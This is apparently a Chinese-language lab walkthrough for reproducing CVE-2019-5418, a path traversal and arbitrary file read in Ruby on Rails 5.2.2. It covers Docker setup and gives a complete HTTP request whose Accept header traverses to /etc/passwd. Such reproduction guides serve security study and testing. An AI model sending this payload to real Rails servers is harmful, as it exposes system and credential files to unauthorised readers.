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Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{头来构成构造路径穿越漏洞,读取任意文件。

参考链接:

环境搭建

执行如下命令编译及启动Rail On Rails 5.2.2:

docker-compose build
docker-compose up -d

环境启动后,访问http://your-ip:3000即可看到Ruby on Rails的欢迎页面。

漏洞复现

访问http://your-ip:3000/robots可见,正常的robots.txt文件被读取出来。

利用漏洞,发送如下数据包,读取/etc/passwd

GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


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